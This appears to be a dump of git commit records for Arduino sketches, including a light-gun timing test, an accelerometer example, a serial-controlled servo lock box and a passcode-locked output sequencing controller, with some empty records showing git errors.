TV.clear_screen();\n TV.select_font(font6x8);\n TV.set_vbi_hook(vbi_hook_flag);\n \n reset_state();\n}\n\n\/*\n * Latch TRIGGER state\n *\/\nvoid trigger_handle() {\n trigger_state = HIGH;\n}\n\n\/*\n * Latch DETECT state\n *\/\nvoid detect_handle() {\n detect_state = HIGH;\n}\n\n\/*\n * Reset the state of TRIGGER and DETECT\n *\/\ninline void reset_state() {\n trigger_state = LOW;\n detect_state = LOW;\n}\n\n\/*\n * Set flag when vertical blank happens\n *\/\nvoid vbi_hook_flag() {\n vblank = 1;\n}\n\n\/*\n * Wait for veritcal blank and reset the flag\n *\/\ninline void wait_for_vblank() {\n while (!vblank);\n vblank = 0;\n}\n\n\/*\n *\n *\/\nvoid loop() {\n int delay_count = 0;\n reset_state();\n TV.clear_screen();\n TV.println(0, 0, \"Point the Zapper at the TV and pull the trigger\");\n\n while (trigger_state == LOW); \/\/ wait for the trigger\n\n wait_for_vblank(); \n \n \/\/ Set the screen to white for 2 frames\n TV.fill(WHITE);\n wait_for_vblank();\n wait_for_vblank();\n \n TV.clear_screen();\n \n delay_count = 2;\n \n \/\/ count the number of frames\n while (detect_state == LOW && delay_count++ < DELAY_TIMEOUT) {\n wait_for_vblank();\n }\n\n TV.clear_screen();\n if (detect_state == HIGH) {\n TV.print(0, 0, \"Zapper triggered DETECT pin with a delay of:\");\n TV.print(0, 30, delay_count);\n } else {\n TV.println(0, 0, \"Zapper did not trigger the DETECT pin before timeout\");\n }\n reset_state();\n while (trigger_state == LOW); \/\/ wait for the trigger\n}\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'arduino\/zapper_delay_test\/zapper_delay_test.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"0ea7f1f1198b93e8e61c9cfc2f6d7c0f1d1c52b5","subject":"Add accelerometer example","message":"Add accelerometer example\n","repos":"maltboard\/malt-java","old_file":"arduino\/accelerometer\/accelerometer.ino","new_file":"arduino\/accelerometer\/accelerometer.ino","new_contents":"\/******************************************************************************\nMMA8452Q_Basic.ino\nSFE_MMA8452Q Library Basic Example Sketch\nJim Lindblom @ SparkFun Electronics\nOriginal Creation Date: June 3, 2014\nhttps:\/\/github.com\/sparkfun\/MMA8452_Accelerometer\n\nThis sketch uses the SFE_MMA8452Q library to initialize the\naccelerometer, and stream values from it.\n\nHardware hookup:\n Arduino --------------- MMA8452Q Breakout\n 3.3V --------------- 3.3V\n GND --------------- GND\n SDA (A4) --\\\/330 Ohm\\\/-- SDA\n SCL (A5) --\\\/330 Ohm\\\/-- SCL\n\nThe MMA8452Q is a 3.3V max sensor, so you'll need to do some \nlevel-shifting between the Arduino and the breakout. Series\nresistors on the SDA and SCL lines should do the trick.\n\nDevelopment environment specifics:\n\tIDE: Arduino 1.0.5\n\tHardware Platform: Arduino Uno\n\nThis code is beerware; if you see me (or any other SparkFun employee) at the\nlocal, and you've found our code helpful, please buy us a round!\n\nDistributed as-is; no warranty is given.\n******************************************************************************\/\n#include <Wire.h> \/\/ Must include Wire library for I2C\n#include <SFE_MMA8452Q.h> \/\/ Includes the SFE_MMA8452Q library\n\n#define MMA8452_ADDRESS 0x1D\n\/\/ Begin using the library by creating an instance of the MMA8452Q\n\/\/ class. We'll call it \"accel\". That's what we'll reference from\n\/\/ here on out.\nMMA8452Q accel(MMA8452_ADDRESS);\n\n\/\/ The setup function simply starts serial and initializes the\n\/\/ accelerometer.\nvoid setup()\n{\n Serial.begin(9600); \n \/\/ Choose your adventure! There are a few options when it comes\n \/\/ to initializing the MMA8452Q:\n \/\/ 1. Default init. This will set the accelerometer up\n \/\/ with a full-scale range of +\/-2g, and an output data rate\n \/\/ of 800 Hz (fastest).\n accel.init();\n \/\/ 2. Initialize with FULL-SCALE setting. You can set the scale\n \/\/ using either SCALE_2G, SCALE_4G, or SCALE_8G as the value.\n \/\/ That'll set the scale to +\/-2g, 4g, or 8g respectively.\n \/\/accel.init(SCALE_4G); \/\/ Uncomment this out if you'd like\n \/\/ 3. Initialize with FULL-SCALE and DATA RATE setting. If you\n \/\/ want control over how fast your accelerometer produces\n \/\/ data use one of the following options in the second param:\n \/\/ ODR_800, ODR_400, ODR_200, ODR_100, ODR_50, ODR_12,\n \/\/ ODR_6, or ODR_1. \n \/\/ Sets to 800, 400, 200, 100, 50, 12.5, 6.25, or 1.56 Hz.\n \/\/accel.init(SCALE_8G, ODR_6);\n}\n\n\/\/ The loop function will simply check for new data from the\n\/\/ accelerometer and print it out if it's available.\nvoid loop()\n{\n \/\/ Use the accel.available() function to wait for new data\n \/\/ from the accelerometer.\n if (accel.available())\n {\n \/\/ First, use accel.read() to read the new variables:\n accel.read(); \n printCalculatedAccels(); \n Serial.println(); \/\/ Print new line every time.\n }\n}\n\n\/\/ This function demonstrates how to use the accel.cx, accel.cy,\n\/\/ and accel.cz variables.\n\/\/ Before using these variables you must call the accel.read()\n\/\/ function!\nvoid printCalculatedAccels()\n{\n Serial.print(accel.cx, 3);\n Serial.print(\"\\t\");\n Serial.print(accel.cy, 3);\n Serial.print(\"\\t\");\n Serial.print(accel.cz, 3);\n Serial.print(\"\\t\");\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'arduino\/accelerometer\/accelerometer.ino' did not match any file(s) known to git\n","license":"lgpl-2.1","lang":"Arduino"} {"commit":"e943c104866380ea9b49dcf01352f183fdd21ee7","subject":"Added arduino state machine.","message":"Added arduino state machine.\n","repos":"rehrbar\/ChallP2TapBox,rehrbar\/ChallP2TapBox,rehrbar\/ChallP2TapBox,rehrbar\/ChallP2TapBox,rehrbar\/ChallP2TapBox","old_file":"arduino-serial\/arduino-serial.ino","new_file":"arduino-serial\/arduino-serial.ino","new_contents":"\n#include <Servo.h>\n\n\n#define fsrAnalogPin A0 \/\/ FSR is connected to analog 0\n#define servoPin 3 \/\/ Pin for servo\n#define loraSSPin 10 \/\/ Pin for Slave Select Lora Shield\n#define rfidSSPin 9 \/\/ Pin for Slave Select RFID Shield\n\n#define STATE_EMPTY 0\n#define STATE_FULL 1\n#define STATE_LOCKED 2\nint state = 0;\n\nServo myservo; \/\/ create servo object to control a servo\nString inputString = \"\"; \/\/ a string to hold incoming data\nboolean stringComplete = false; \/\/ whether the string is complete\n\nvoid setup() {\n myservo.attach(servoPin); \/\/ attaches the servo on pin 9 to the servo object\n pinMode(rfidSSPin, OUTPUT);\n digitalWrite(rfidSSPin, HIGH);\n \/\/ Disable Lora shield since we use usb communication for the moment.\n pinMode(loraSSPin, OUTPUT);\n digitalWrite(loraSSPin, HIGH);\n\n Serial.begin(9600);\n while (!Serial) ; \/\/ Wait for serial port to be available\n \/\/ reserve 200 bytes for the inputString:\n inputString.reserve(200);\n}\n\nvoid loop() {\n switch(state){\n case(STATE_EMPTY):\n StateEmpty();\n break;\n case(STATE_FULL):\n StateFull();\n break;\n case(STATE_LOCKED):\n StateLocked();\n break;\n }\n\n}\n\nvoid StateEmpty(){\n if(GetFsrValue() > 0){\n state = STATE_FULL;\n } else {\n delay(1000);\n }\n}\n\nvoid StateLocked(){\n if(stringComplete){\n Serial.print(\"Received message: \");\n Serial.print(inputString);\n Serial.println(\";\");\n\n if(inputString == \"unlock\"){\n Open();\n state = STATE_FULL;\n }\n \/\/ clear the string:\n inputString = \"\";\n stringComplete = false;\n }\n \/\/ TODO Read RFID\n}\n\n\/\/ Close after a delay, so you have time to close the lid.\nvoid StateFull(){\n delay(5000);\n int fsrValue = GetFsrValue();\n if(fsrValue > 0){\n Close();\n printFsrValue(fsrValue);\n state = STATE_LOCKED;\n } else {\n printFsrValue(fsrValue);\n state = STATE_EMPTY;\n }\n}\n\nint GetFsrValue(){\n return analogRead(fsrAnalogPin);\n}\n\nvoid Close(){\n myservo.write(170);\n}\n\nvoid Open(){\n myservo.write(0);\n}\n\nvoid printFsrValue(int value){\n Serial.print(\"fsrValue:\");\n Serial.print(value);\n Serial.println();\n}\n\n\n\/*\n SerialEvent occurs whenever a new data comes in the\n hardware serial RX. This routine is run between each\n time loop() runs, so using delay inside loop can delay\n response. Multiple bytes of data may be available.\n *\/\nvoid serialEvent() {\n while (Serial.available()) {\n \/\/ get the new byte:\n char inChar = (char)Serial.read();\n \/\/ if the incoming character is a newline, set a flag\n \/\/ so the main loop can do something about it:\n if (inChar == '\\n') {\n stringComplete = true;\n } else {\n \/\/ add it to the inputString:\n inputString += inChar;\n }\n }\n}\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'arduino-serial\/arduino-serial.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"391171482f0ae232ae7a79a87d0397028dca84c2","subject":"Added DISCLAIMER to Main Data","message":"Added DISCLAIMER to Main Data\n","repos":"Newark-Catholic-Robotics-Club\/Newark-Catholic-Atmospheric-Exploration-Project,Newark-Catholic-Robotics-Club\/Newark-Catholic-Atmospheric-Exploration-Project","old_file":"Data Logging\/Data-Logging-Main\/Data-Logging-Main.ino","new_file":"Data Logging\/Data-Logging-Main\/Data-Logging-Main.ino","new_contents":"","old_contents":"","returncode":1,"stderr":"error: pathspec 'Data' did not match any file(s) known to git\nerror: pathspec 'Logging\/Data-Logging-Main\/Data-Logging-Main.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"7f431ca00ac5c9d7a0f5f62d53595a27a7cb6720","subject":"Barometer data sending modified","message":"Barometer data sending modified\n","repos":"quinten991\/PenO3OnTrack,quinten991\/PenO3OnTrack,quinten991\/PenO3OnTrack,quinten991\/PenO3OnTrack,quinten991\/PenO3OnTrack","old_file":"Arduino\/Serial_Hallsensoren\/Serial_Hallsensoren.ino","new_file":"Arduino\/Serial_Hallsensoren\/Serial_Hallsensoren.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/quinten991\/PenO3OnTrack.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"80547a5bc900e0563fa3579f54fce03f35463096","subject":"Create TimingController.ino","message":"Create TimingController.ino","repos":"Quinn-D\/SequencingController,Quinn-D\/SequencingController","old_file":"TimingController.ino","new_file":"TimingController.ino","new_contents":"\/\/This sketch is for Arduino Micro in timing controller hand paddle. Assumed peripheral hardware:\n\/\/Serial1 -wired to hand paddle controller to communicate with LCD and keypad\n\/\/D2\/D3 - I2C wired to DB15 connector for future expansion\n\/\/D11\/D4\/A5 - wired through opto to DB15 as input. High means input grounded.\n\/\/D5\/D6\/D9\/D10\/D12\/A4 - wired through darlington array to DB15 as output. High means drive ground on output\n\/\/D7\/D8 - wired to RS232 level shift and out RJ11 for future expansion using software serial\n\/\/D13 - wired to speaker drive transistor through capacitor. Use PWM output.\n\/\/SCK(D15) - left side button, use input_pullup. 0 means pressed.\n\/\/MISO(D14) - right side button, use input_pullup. 0 means pressed.\n\/\/A3 - left side button led. low means turn led on.\n\/\/A2 - right side button led. low means turn led on.\n\/\/A1 - not used\n\/\/A0 - wired through 33 ohm to DB15 as analog input for future expansion.\n\n\/\/Assumed external wiring:\n\/\/Input1\/Opto1\/DB15-12 Keyswitch.\n\/\/Input2\/Opto2\/DB15-4 Main firing button\n\/\/Input3\/Opto3\/DB15-5 Not used\n\/\/Output1\/Dar1\/DB15-9 HSI1\/a (channel 0 in sequence var)\n\/\/Output2\/Dar2\/DB15-10 HSI2\/b (channel 1)\n\/\/Output3\/Dar3\/DB15-1 firing button LED (channel 2)\n\/\/Output4\/Dar4\/DB15-2 Not used (channel 3)\n\/\/Output5\/Dar5\/DB15-11 Solenoid-ignited (channel 4)\n\/\/Output6\/Dar6\/DB15-3 Solenoid-not ignited (channel 5)\n\n#include <EEPROM.h>\n\n\nbyte HSI1 = 0; \/\/State of HSI. 0 for off, 1 for on.\nbyte HSI2 = 0; \/\/State of HSI. 0 for off, 1 for on.\nbyte TriggerLED = 0; \/\/state of led on main trigger button. 0 for off\nbyte ExtraOut = 0; \/\/State of extra output. 0 for off.\nbyte Key = 0; \/\/state of key switches. 1 for engaged\nbyte Button = 0; \/\/State of main firing button\nbyte ExtraIn = 0; \/\/state of the extra input\nbyte Armed = 0; \/\/State of arming. 1 for armed.(button pressed)\nbyte testmode = 0; \/\/1 for in test mode\nbyte DisplayType = 0; \/\/0 for basic display, 1 for more information\nbyte sequencenum = 0; \/\/which sequence was loaded\nbyte edited = 0; \/\/flag if sequence edited from what was loaded. 1 for edited.\nbyte numsteps = 0; \/\/number of steps in current sequence\nbyte Input1Last; \/\/last state of input 1 pin \/\/Prior copies for debounce and edge detection\nbyte Input1Last2; \/\/last state of input 1 pin\nbyte Input2Last; \/\/last state of input 2 pin\nbyte Input2Last2; \/\/last state of input 2 pin\nbyte Input3Last; \/\/last state of input 3 pin\nbyte Input3Last2; \/\/last state of input 3 pin\nbyte LeftButtonLast; \/\/last state of the left button\nbyte LeftButtonLast2; \/\/last state of the left button\nbyte RightButtonLast; \/\/last state of the right button\nbyte RightButtonLast2; \/\/last state of the right button\nbyte RightButtonLEDState; \/\/state of right button led. 0 = off; 1 = on; 2 = flash; 3 = fast flash\nbyte LeftButtonLEDState; \/\/state of left button led. 0 = off; 1 = on; 2 = flash\nint ButtonFlashCounter; \/\/counter to support flashing.\n\n#include \"TimingController.h\" \/\/Constant definitions and defines\n\nunsigned int sequence[maxsteps][3]; \/\/[step number][value]\n \/\/value 0 - number of ms to wait before doing this step\n \/\/value 1 - channel to activate. 0-5. ff-end of sequence. fe-illegal\n \/\/value 2 - state to set channel. 0-off, 1-on\n\n#define masterpasscodelength 8\nconst int MasterPasscode[masterpasscodelength] = {ZEROkey, ZEROkey, ZEROkey, ZEROkey, ZEROkey, ZEROkey, ZEROkey, ZEROkey };\nint passcodelength;\nint Passcode[15]; \/\/maximum 15 digits for passcode\n\n#include \"LCDFunctions.h\" \/\/functions supporting displaying on the LCD\n\n\/\/return the length in steps of the current sequence\n\/\/returns 0 if no end flag found.\nbyte sequencelength()\n{\n for (byte j = 0; j < maxsteps; j++)\n {\n if (sequence[j][1] == 0xff)\n return (j+1);\n }\n return 0;\n}\n\n\/\/load a saved sequence\n\/\/takes in which sequence to load\n\/\/returns the number of steps\nbyte loadsequence(byte number)\n{\n int addressbase = number;\n addressbase = addressbase << 7; \/\/multiply by 128, assuming 128byte pages for the saves\n int tempadr;\n int tempdata;\n for (int i = 0; i < (maxsteps); i++)\n {\n for (int j = 0; j < 3; j++)\n {\n tempadr = addressbase + (i*6) + (j*2); \/\/calc the byte count; \n tempdata = EEPROM.read(tempadr);\n tempdata = tempdata << 8; \/\/shift to high bite.\n tempdata = tempdata + EEPROM.read(tempadr+1); \/\/combine low byte\n sequence[i][j] = tempdata;\n }\n }\n edited = 0;\n sequencenum = number;\n numsteps = sequencelength();\n return numsteps;\n}\n\n\/\/save the sequence\n\/\/takes in which sequence to load\nvoid savesequence(byte number)\n{\n int addressbase = number;\n addressbase = addressbase << 7; \/\/multiply by 128, assuming 128byte pages for the saves\n int tempadr;\n int tempdata;\n byte tempbyte;\n for (int i = 0; i < (maxsteps); i++)\n {\n for (int j = 0; j < 3; j++)\n {\n tempadr = addressbase + (i*6) + (j*2); \/\/calc the byte count; \n tempdata = sequence[i][j];\n tempbyte = tempdata >> 8; \/\/get the high byte to save\n EEPROM.write(tempadr, tempbyte);\n tempbyte = tempdata & 0x00FF; \/\/mask off the low byte\n EEPROM.write((tempadr+1), tempbyte);\n }\n }\n edited = 0;\n sequencenum = number;\n}\n\n\/\/Prompts, and does a soft reset if confirmed\n\/\/Restarts bootloader + program from beginning but does not reset the peripherals and registers\nvoid Reset()\n{\n ClearLCD();\n Serial1.write(\"Reset contr\");\n delay(50);\n Serial1.write(\"oller?\\r\\n\");\n delay(50);\n Serial1.write(\"ENT-> Yes ESC-> No \\r\\n\");\n Serial1.write(0x07); \/\/send bell character.\n Serial1.write(0x07); \/\/send bell character.\n Serial1.write(0x07); \/\/send bell character.\n\/\/Clear off the input buffer\n while (((Serial1.read()) != -1)); \n for (int i = 0; ((i < 10000) && (Serial1.available() == 0)); i++)\n delay(1); \/\/wait here until get a key, or timeout at 10sec\n if (Serial1.read() == ENTERkey)\n {\n Serial1.write(0x07); \/\/send bell character.\n Serial1.write(\"Resetting\");\n delay(100);\n asm volatile (\" jmp 0\");\n }\n else\n {\n Serial1.write(\"Reset canceled!\");\n delay(2000);\n }\n FullUpdate(); \/\/refresh screen\n}\n\nvoid setup() {\n\/\/ Serial.begin(9600); \/\/start usb serial for debugging.\n Serial1.begin(9600, SERIAL_7E1); \/\/start serial port to LCD\/buttons. Note 9600 7E1 mode.\n pinMode(Input1_Pin, INPUT);\n pinMode(Input2_Pin, INPUT);\n pinMode(Input3_Pin, INPUT);\n digitalWrite(Output1_Pin, LOW); \/\/drive low to turn off output\n digitalWrite(Output2_Pin, LOW); \/\/drive low to turn off output\n digitalWrite(Output3_Pin, LOW); \/\/drive low to turn off output\n digitalWrite(Output4_Pin, LOW); \/\/drive low to turn off output\n digitalWrite(Output5_Pin, LOW); \/\/drive low to turn off output\n digitalWrite(Output6_Pin, LOW); \/\/drive low to turn off output\n pinMode(Output1_Pin, OUTPUT);\n pinMode(Output2_Pin, OUTPUT);\n pinMode(Output3_Pin, OUTPUT);\n pinMode(Output4_Pin, OUTPUT);\n pinMode(Output5_Pin, OUTPUT);\n pinMode(Output6_Pin, OUTPUT);\n digitalWrite(SoftSerialTX_Pin, HIGH);\n pinMode(SoftSerialTX_Pin, OUTPUT);\n pinMode(SoftSerialRX_Pin, INPUT);\n digitalWrite(Speaker_Pin, LOW);\n pinMode(Speaker_Pin, OUTPUT);\n pinMode(LeftButton_Pin, INPUT_PULLUP);\n pinMode(RightButton_Pin, INPUT_PULLUP);\n digitalWrite(LeftLED_Pin, HIGH);\n pinMode(LeftLED_Pin, OUTPUT);\n digitalWrite(RightLED_Pin, HIGH);\n pinMode(RightLED_Pin, OUTPUT);\n\n\/\/Init variables to starting state.\n Input1Last = digitalRead(Input1_Pin);\n Input1Last2 = Input1Last; \n Input2Last = digitalRead(Input2_Pin);\n Input2Last2 = Input2Last; \n Input3Last = digitalRead(Input3_Pin);\n Input3Last2 = Input3Last; \n LeftButtonLast = digitalRead(LeftButton_Pin);\n LeftButtonLast2 = LeftButtonLast;\n RightButtonLast = digitalRead(RightButton_Pin);\n RightButtonLast2 = RightButtonLast;\n\n HSI1 = 0; \/\/State of HSI. 0 for off, 1 for on.\n HSI2 = 0; \/\/State of HSI. 0 for off, 1 for on.\n TriggerLED = 0; \/\/state of led on main trigger button. 0 for off\n ExtraOut = 0; \/\/State of extra output. 0 for off.\n Key = Input1Last2; \/\/state of key switches. 1 for engaged\n Button = Input2Last2; \/\/State of main firing button\n ExtraIn = Input3Last2; \/\/state of the extra input\n Armed = 0; \/\/State of arming. 1 for armed.(button pressed)\n testmode = 0; \/\/1 for in test mode\n DisplayType = 0; \/\/0 for basic display, 1 for more information\n sequencenum = 0; \/\/which sequence was loaded\n edited = 0; \/\/flag if sequence edited from what was loaded. 1 for edited.\n numsteps = 0; \/\/number of steps in current sequence\n ButtonFlashCounter = 0;\n RightButtonLEDState = 0;\n LeftButtonLEDState = 1;\n \n\/\/Stuff for future expansion:\n pinMode(SCL_Pin, INPUT_PULLUP); \/\/SCL pin, probably not needed; wire.begin probably does this anyway.\n pinMode(SDA_Pin, INPUT_PULLUP); \/\/SDA pin, probably not needed; wire.begin probably does this anyway.\n digitalWrite(SCL_Pin, HIGH); \/\/SCL pin, probably not needed.; wire.begin probably does this anyway.\n digitalWrite(SDA_Pin, HIGH); \/\/SDA pin, probably not needed.; wire.begin probably does this anyway.\n pinMode(AnalogIn_Pin, INPUT); \/\/analog input pin from DB15\n\n loadsequence(0); \/\/load sequence 0 as default.\n \n\/\/load passcode data from EEPROM\n passcodelength = EEPROM.read(1007);\n for (int i = 0; i < 16; i++)\n Passcode[i] = EEPROM.read(1008+i);\n \n delay(2000); \/\/delay to allow paddle processor to boot\n\n LockScreen(); \/\/start locked\n\n ClearLCD();\n FullUpdate();\n \n while (((Serial1.read()) != -1)); \/\/Clear off the input buffer\n}\n\n\n\/\/maintain the state\/flash of the left\/right button leds\n\/\/call in main loop\nvoid UpdateButtonLEDs()\n{\n ButtonFlashCounter++;\n if (ButtonFlashCounter == FlashSpeed)\n {\n ButtonFlashCounter = 0;\n if (RightButtonLEDState >= 2)\n digitalWrite(RightLED_Pin, !(digitalRead(RightLED_Pin)));\n if (LeftButtonLEDState >= 2)\n digitalWrite(LeftLED_Pin, !(digitalRead(LeftLED_Pin)));\n }\n if (ButtonFlashCounter == (FlashSpeed\/2))\n {\n if (RightButtonLEDState >= 3)\n digitalWrite(RightLED_Pin, !(digitalRead(RightLED_Pin)));\n if (LeftButtonLEDState >= 3)\n digitalWrite(LeftLED_Pin, !(digitalRead(LeftLED_Pin)));\n }\n if (RightButtonLEDState == 0)\n digitalWrite(RightLED_Pin, HIGH);\n if (LeftButtonLEDState == 0)\n digitalWrite(LeftLED_Pin, HIGH);\n if (RightButtonLEDState == 1)\n digitalWrite(RightLED_Pin, LOW);\n if (LeftButtonLEDState == 1)\n digitalWrite(LeftLED_Pin, LOW); \n}\n\n\n\/\/prompt for passcode. enter key to enter it; any other key accepted as a digit.\n\/\/returns 1 for correct, 0 for bad.\nbyte EnterPasscode()\n{\n while (((Serial1.read()) != -1)); \/\/Clear off the input buffer\n\/\/ Serial1.write(\"\\r\");\n Serial1.write(\"Pass: \");\n int receivedbutton = -1;\n int receivecount = 0;\n int receivedsequence[15];\n while (receivedbutton != ENTERkey)\n {\n receivedbutton = Serial1.read();\n if ((receivedbutton != -1) && (receivedbutton != ENTERkey))\n {\n Serial1.write('*');\n receivedsequence[receivecount] = receivedbutton;\n receivecount++;\n }\n if (receivecount == 15)\n break;\n delay(1);\n }\n byte correct = 0;\n if (receivecount == passcodelength)\n {\n for (int i = 0; i < receivecount; i++)\n {\n if (receivedsequence[i] != Passcode[i])\n break;\n if (i == (receivecount - 1))\n correct = 1;\n }\n }\n if (receivecount == masterpasscodelength)\n {\n for (int i = 0; i < masterpasscodelength; i++)\n {\n if (receivedsequence[i] != MasterPasscode[i])\n break;\n if (i == (masterpasscodelength - 1))\n correct = 1;\n }\n }\n return correct;\n}\n\n\/\/Lock and unlock with passcode. No actions if locked.\n\/\/Stays in function while locked.\nvoid LockScreen()\n{\n while (((Serial1.read()) != -1)); \/\/Clear off the input buffer\n RightButtonLEDState = 2;\n LeftButtonLEDState = 2;\n while (1)\n {\n Serial1.write(\"\\n\\n\\n\\r \");\n delay(50);\n Serial1.write(\"** LOCKED **\\r\\n\");\n while (Serial1.available() == 0)\n {\n UpdateButtonLEDs();\n delay(1); \/\/wait here until get a key\n }\n if (Serial1.read() == BLANKkey)\n if (EnterPasscode() == 1)\n {\n Serial1.write(\"\\r\\n\\r\\n\");\n delay(100);\n RightButtonLEDState = 0;\n LeftButtonLEDState = 0;\n return;\n }\n }\n}\n\n\/\/Change passcode (saved one only, no change to master)\nvoid ChangePasscode()\n{\n Serial1.write(\"\\r\\n\\n\\n\\n\");\n delay(50);\n if (EnterPasscode() != 1)\n {\n Serial1.write(\"\\r\\n** Not Changed **\\r\\n\");\n delay(2000);\n return;\n }\n while (((Serial1.read()) != -1)); \/\/Clear off the input buffer\n Serial1.write(\"\\r\\nNew Pass: \");\n int receivedbutton = -1;\n int receivecount = 0;\n int receivedsequence[15];\n while (receivedbutton != ENTERkey)\n {\n receivedbutton = Serial1.read();\n if ((receivedbutton != -1) && (receivedbutton != ENTERkey))\n {\n Serial1.write('*');\n receivedsequence[receivecount] = receivedbutton;\n receivecount++;\n }\n if (receivecount == 15)\n break;\n delay(1);\n }\n Serial1.write(\"\\r\\nRe-Enter: \");\n receivedbutton = -1;\n int receive2count = 0;\n int received2sequence[15];\n while (receivedbutton != ENTERkey)\n {\n receivedbutton = Serial1.read();\n if ((receivedbutton != -1) && (receivedbutton != ENTERkey))\n {\n Serial1.write('*');\n received2sequence[receive2count] = receivedbutton;\n receive2count++;\n }\n if (receivecount == 15)\n break;\n delay(1);\n }\n \/\/check if the two entries match\n byte correct = 0;\n if (receivecount == receive2count)\n {\n for (int i = 0; i < receivecount; i++)\n {\n if (receivedsequence[i] != received2sequence[i])\n break;\n if (i == (receivecount - 1))\n correct = 1;\n }\n }\n if (correct != 1)\n {\n Serial1.write(\"\\r\\n** Not Changed **\\r\\n\");\n delay(2000);\n return;\n }\n passcodelength = receivecount;\n EEPROM.write(1007, (byte) passcodelength);\n for (int i = 0; i < receivecount; i++)\n {\n Passcode[i] = receivedsequence[i];\n EEPROM.write(1008+i, Passcode[i]);\n }\n Serial1.write(\"\\r\\n** Changed **\\r\\n\");\n delay(2000);\n}\n\n\/\/prompts for confirmation, then saves sequence\nvoid savemenu(byte number)\n{\n Serial1.write(\"\\r\\n\\r\\n\"); \/\/return to column 1\n Serial1.write(\"Save to \");\n Serial1.print(number);\n Serial1.write(\"?\\r\\n\");\n Serial1.write(\"ENT-\");\n delay(50);\n Serial1.write(\"> Yes \");\n delay(150);\n Serial1.write(\"ESC-> No \\r\\n\");\n delay(100);\n\/\/Clear off the input buffer\n while (((Serial1.read()) != -1)); \n for (int i = 0; ((i < 10000) && (Serial1.available() == 0)); i++)\n delay(1); \/\/wait here until get a key, or timeout at 10sec\n if (Serial1.read() == ENTERkey)\n {\n savesequence(number-1); \/\/save the sequence\n Serial1.write(\"Save complete!\\r\\n\");\n Serial1.write(0x07); \/\/send bell character.\n delay(2000);\n }\n else\n {\n Serial1.write(\"Save canceled!\\r\\n\");\n delay(2000);\n }\n FullUpdate(); \/\/refresh screen\n}\n\n\/\/prompts for confirmation, then loads sequence\nvoid loadmenu(byte number)\n{\n Serial1.write(\"\\r\\n\\r\\n\"); \/\/return to column 1\n Serial1.write(\"Load from: \");\n Serial1.print(number);\n Serial1.write(\"?\\r\\n\");\n delay(100);\n Serial1.write(\"ENT-> Yes \");\n delay(100);\n Serial1.write(\"ESC-> No \\r\\n\");\n\/\/Clear off the input buffer\n while (((Serial1.read()) != -1)); \n for (int i = 0; ((i < 10000) && (Serial1.available() == 0)); i++)\n delay(1); \/\/wait here until get a key, or timeout at 10sec\n if (Serial1.read() == ENTERkey)\n {\n loadsequence(number-1); \/\/load the sequence\n Serial1.write(\"Load complete!\\r\\n\");\n Serial1.write(0x07); \/\/send bell character.\n delay(2000);\n }\n else\n {\n Serial1.write(\"Load canceled!\\r\\n\");\n delay(2000);\n }\n FullUpdate(); \/\/refresh screen\n}\n\n\/\/Helper for UpdateSequence\n\/\/returns 1, 0 if pressed. returns 0x2 if enter pressed. returns -1 if escape pressed\nint CheckForBinInput()\n{\n while (1)\n {\n while (((Serial1.read()) != -1)); \/\/Clear off the input buffer\n while (Serial1.available() == 0)\n delay(1); \/\/wait here until get a key\n int ReceivedByte = Serial1.read();\n switch (ReceivedByte)\n {\n case ONEkey:\n return 1;\n break; \n case ZEROkey:\n return 0;\n break;\n case ENTERkey:\n return 2;\n break;\n case ESCAPEkey:\n return -1;\n break;\n default:\n break;\n }\n }\n}\n\n\/\/Helper for UpdateSequence\n\/\/returns 0-5 if 1-6 pressed. returns 0x10 if enter pressed. returns -1 if escape pressed\nint CheckForChInput()\n{\n while (1)\n {\n while (((Serial1.read()) != -1)); \/\/Clear off the input buffer\n while (Serial1.available() == 0)\n delay(1); \/\/wait here until get a key\n int ReceivedByte = Serial1.read();\n switch (ReceivedByte)\n {\n case ONEkey:\n return 0;\n break; \n case TWOkey:\n return 1;\n break;\n case THREEkey:\n return 2;\n break;\n case FOURkey:\n return 3;\n break;\n case FIVEkey:\n return 4;\n break;\n case SIXkey:\n return 5;\n break;\n case ENTERkey:\n return 0x10;\n break;\n case ESCAPEkey:\n return -1;\n break;\n default:\n break;\n }\n }\n}\n\n\/\/Helper for UpdateSequence\n\/\/returns 0-9 if pressed. returns 0x10 if enter pressed. returns -1 if escape pressed\nint CheckForDigInput()\n{\n while (1)\n {\n while (((Serial1.read()) != -1)); \/\/Clear off the input buffer\n while (Serial1.available() == 0)\n delay(1); \/\/wait here until get a key\n int ReceivedByte = Serial1.read();\n switch (ReceivedByte)\n {\n case ZEROkey:\n return 0;\n break; \n case ONEkey:\n return 1;\n break; \n case TWOkey:\n return 2;\n break;\n case THREEkey:\n return 3;\n break;\n case FOURkey:\n return 4;\n break;\n case FIVEkey:\n return 5;\n break;\n case SIXkey:\n return 6;\n break;\n case SEVENkey:\n return 7;\n break; \n case EIGHTkey:\n return 8;\n break; \n case NINEkey:\n return 9;\n break; \n case ENTERkey:\n return 0x10;\n break;\n case ESCAPEkey:\n return -1;\n break;\n default:\n break;\n }\n }\n}\n\n\/\/interactive prompts to edit the sequence.\n\/\/ 12345678901234567890\n\/\/----------------------\n\/\/|ENTER-Cont. ESC-Exit|\n\/\/|Step: 01 |\n\/\/|End(1-Yes 0-No): Yes|\n\/\/|Initial delay: 00000|\n\/\/|Channel: 1 |\n\/\/|Turn(1-On 0-Off):Off|\n\/\/----------------------\n\/\/print prompt, current value, if number pressed, \\r, reprint prompt, take new value\n \/\/value 0 - number of ms to wait before doing this step\n \/\/value 1 - channel to activate. 0-5. ff-end of sequence\n \/\/value 2 - state to set channel. 0-off, 1-on\nvoid UpdateSequence()\n{\n ClearLCD();\n\n\/\/update edited flag if appropriate\n\n\/\/Print instructions, and step number\n Serial1.write(\"ENTER-Cont. \");\n delay(80);\n Serial1.write(\"ESC-Exit\\r\\n\");\n for (byte i = 0; i < maxsteps; i++)\n {\n Serial1.write(\"Step: \");\n delay(80);\n 